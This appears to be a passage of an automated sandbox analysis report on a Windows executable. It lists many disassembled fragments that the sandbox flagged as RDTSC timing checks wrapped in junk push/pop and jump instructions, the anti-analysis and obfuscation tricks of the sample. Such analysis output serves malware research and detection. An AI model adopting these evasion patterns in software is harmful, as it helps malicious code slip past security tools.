Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB9841 second address: EB9864 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99C163FAFFh 0x00000007 jnc 00007F99C163FAF6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jc 00007F99C163FAF6h 0x00000017 push eax 0x00000018 pop eax 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB9864 second address: EB9883 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F99C0D73D59h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB9883 second address: EB98A8 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F99C163FB0Fh 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB9DEF second address: EB9E07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop esi 0x00000007 jmp 00007F99C0D73D51h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBD63E second address: EBD642 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1A661 second address: E1A67E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F99C0D73D55h 0x00000009 pop esi 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC9A9A second address: EC9AA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 jo 00007F99C163FAF6h 0x0000000c pop esi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECA167 second address: ECA176 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 jo 00007F99C0D73D46h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECA176 second address: ECA17A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECA17A second address: ECA17E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED24D6 second address: ED24E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007F99C163FAF6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED24E0 second address: ED24E4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED24E4 second address: ED2505 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F99C163FB05h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED2505 second address: ED251E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F99C0D73D55h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED251E second address: ED2522 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1C09F second address: E1C0A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F99C0D73D46h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE50FD second address: EE5103 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE5103 second address: EE510D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop ebx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE510D second address: EE5125 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99C163FB00h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push edi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE5125 second address: EE5142 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 jnl 00007F99C0D73D46h 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f jo 00007F99C0D73D52h 0x00000015 jns 00007F99C0D73D46h 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF3ADE second address: EF3AE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF3AE6 second address: EF3AEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF393E second address: EF3951 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jc 00007F99C163FAF6h 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF3951 second address: EF3956 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF3956 second address: EF3967 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 push ecx 0x00000009 jl 00007F99C163FAF6h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF5E15 second address: EF5E1A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFC2AE second address: EFC2B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFC535 second address: EFC584 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99C0D73D59h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F99C0D73D53h 0x0000000e pushad 0x0000000f js 00007F99C0D73D46h 0x00000015 jmp 00007F99C0D73D56h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFC584 second address: EFC58D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFC58D second address: EFC591 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0EC3C second address: F0EC53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jmp 00007F99C163FB02h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0EC53 second address: F0EC58 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0EADB second address: F0EAE7 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F99C163FAFEh 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F13335 second address: F1335A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jmp 00007F99C0D73D55h 0x0000000a pop esi 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f je 00007F99C0D73D46h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1335A second address: F1335E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1335E second address: F1337C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F99C0D73D46h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F99C0D73D52h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1337C second address: F13386 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F99C163FAFEh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F14CA0 second address: F14CAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F99C0D73D46h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F14CAF second address: F14CB3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2281F second address: F22823 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F22823 second address: F2282E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2282E second address: F22834 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F22834 second address: F2283A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2283A second address: F22883 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jp 00007F99C0D73D46h 0x0000000c pushad 0x0000000d popad 0x0000000e jng 00007F99C0D73D46h 0x00000014 popad 0x00000015 jbe 00007F99C0D73D5Ch 0x0000001b jmp 00007F99C0D73D56h 0x00000020 popad 0x00000021 pushad 0x00000022 pushad 0x00000023 jmp 00007F99C0D73D4Bh 0x00000028 jne 00007F99C0D73D46h 0x0000002e popad 0x0000002f pushad 0x00000030 push eax 0x00000031 push edx 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F22883 second address: F22892 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 je 00007F99C163FB02h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F22892 second address: F22898 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F37034 second address: F3703A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3703A second address: F37044 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F37044 second address: F3704A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3704A second address: F37050 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F37050 second address: F37056 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F37056 second address: F3705B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3785A second address: F37876 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F99C163FB05h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F37B2D second address: F37B33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F37DE6 second address: F37E4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 jmp 00007F99C163FB09h 0x0000000a pop ebx 0x0000000b jmp 00007F99C163FB08h 0x00000010 jmp 00007F99C163FB04h 0x00000015 popad 0x00000016 pushad 0x00000017 jmp 00007F99C163FAFFh 0x0000001c jp 00007F99C163FAFEh 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3AEE1 second address: F3AEE6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3AEE6 second address: F3AEEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3AEEC second address: F3AF2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 jnl 00007F99C0D73D4Ah 0x0000000e push edx 0x0000000f push edx 0x00000010 pop edx 0x00000011 pop edx 0x00000012 nop 0x00000013 mov edx, dword ptr [ebp+122D2927h] 0x00000019 mov dl, bh 0x0000001b push dword ptr [ebp+1244C53Ah] 0x00000021 stc 0x00000022 jmp 00007F99C0D73D55h 0x00000027 push 12C24C8Bh 0x0000002c pushad 0x0000002d push edi 0x0000002e push eax 0x0000002f push edx 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3DE81 second address: F3DE87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3DE87 second address: F3DE93 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F99C0D73D46h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3DE93 second address: F3DE9B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3D9BF second address: F3D9DF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99C0D73D56h 0x00000007 jc 00007F99C0D73D46h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3D9DF second address: F3D9EC instructions: 0x00000000 rdtsc 0x00000002 jp 00007F99C163FAF8h 0x00000008 pushad 0x00000009 popad 0x0000000a push ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3F8C3 second address: F3F8C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3F8C9 second address: F3F909 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F99C163FAF6h 0x0000000a popad 0x0000000b pushad 0x0000000c jnp 00007F99C163FAF6h 0x00000012 jmp 00007F99C163FAFDh 0x00000017 popad 0x00000018 pushad 0x00000019 jmp 00007F99C163FB07h 0x0000001e jnl 00007F99C163FAF6h 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55A0232 second address: 55A0293 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F99C0D73D51h 0x00000008 call 00007F99C0D73D50h 0x0000000d pop esi 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 pushad 0x00000013 mov edx, ecx 0x00000015 pushfd 0x00000016 jmp 00007F99C0D73D4Ah 0x0000001b add si, 1148h 0x00000020 jmp 00007F99C0D73D4Bh 0x00000025 popfd 0x00000026 popad 0x00000027 xchg eax, ebp 0x00000028 push eax 0x00000029 push edx 0x0000002a jmp 00007F99C0D73D55h 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55A0293 second address: 55A02A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F99C163FAFCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55A02A3 second address: 55A02A7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55A02A7 second address: 55A02CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a jmp 00007F99C163FB07h 0x0000000f pop ebp 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55A02CF second address: 55A02D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55A02D3 second address: 55A02D7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55A02D7 second address: 55A02DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55A0326 second address: 55A032C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5B740 second address: E5B746 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5B746 second address: E5B759 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F99C163FAF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push ebx 0x00000010 pushad 0x00000011 popad 0x00000012 pop ebx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5B8F0 second address: E5B8F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55A03A0 second address: 55A03B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F99C163FB04h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55A03B8 second address: 55A03F2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99C0D73D4Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d push ebx 0x0000000e mov ax, 55C1h 0x00000012 pop eax 0x00000013 movsx edx, si 0x00000016 popad 0x00000017 xchg eax, ebp 0x00000018 pushad 0x00000019 mov bx, ax 0x0000001c jmp 00007F99C0D73D50h 0x00000021 popad 0x00000022 mov ebp, esp 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55A03F2 second address: 55A03F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov eax, ebx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55A04A6 second address: 55A0501 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ebx, 76B5CC82h 0x00000008 mov edx, 0FF82ECEh 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 call 00007F9A310F7882h 0x00000015 push 759227D0h 0x0000001a push dword ptr fs:[00000000h] 0x00000021 mov eax, dword ptr [esp+10h] 0x00000025 mov dword ptr [esp+10h], ebp 0x00000029 lea ebp, dword ptr [esp+10h] 0x0000002d sub esp, eax 0x0000002f push ebx 0x00000030 push esi 0x00000031 push edi 0x00000032 mov eax, dword ptr [759B0140h] 0x00000037 xor dword ptr [ebp-04h], eax 0x0000003a xor eax, ebp 0x0000003c push eax 0x0000003d mov dword ptr [ebp-18h], esp 0x00000040 push dword ptr [ebp-08h] 0x00000043 mov eax, dword ptr [ebp-04h] 0x00000046 mov dword ptr [ebp-04h], FFFFFFFEh 0x0000004d mov dword ptr [ebp-08h], eax 0x00000050 lea eax, dword ptr [ebp-10h] 0x00000053 mov dword ptr fs:[00000000h], eax 0x00000059 ret 0x0000005a pushad 0x0000005b push edx 0x0000005c call 00007F99C0D73D4Eh 0x00000061 pop esi 0x00000062 pop ebx 0x00000063 mov ch, D0h 0x00000065 popad 0x00000066 and dword ptr [ebp-04h], 00000000h 0x0000006a jmp 00007F99C0D73D53h 0x0000006f mov edx, dword ptr [ebp+0Ch] 0x00000072 push eax 0x00000073 push edx 0x00000074 jmp 00007F99C0D73D55h 0x00000079 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55A0501 second address: 55A052A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F99C163FB07h 0x00000008 pop eax 0x00000009 mov cx, di 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f mov esi, edx 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55A052A second address: 55A052E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55A052E second address: 55A0532 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55A0532 second address: 55A0538 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55A0538 second address: 55A0555 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99C163FAFFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov al, byte ptr [edx] 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push edx 0x0000000f pop esi 0x00000010 mov ah, dl 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55A0555 second address: 55A0579 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99C0D73D59h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 inc edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55A0579 second address: 55A057D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55A057D second address: 55A0581 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55A0581 second address: 55A0587 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55A0587 second address: 55A058D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55A058D second address: 55A0591 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55A0591 second address: 55A0595 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55A0595 second address: 55A0555 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 test al, al 0x0000000a jmp 00007F99C163FB08h 0x0000000f jne 00007F99C163FA84h 0x00000015 mov al, byte ptr [edx] 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a push edx 0x0000001b pop esi 0x0000001c mov ah, dl 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55A05CB second address: 55A05D1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
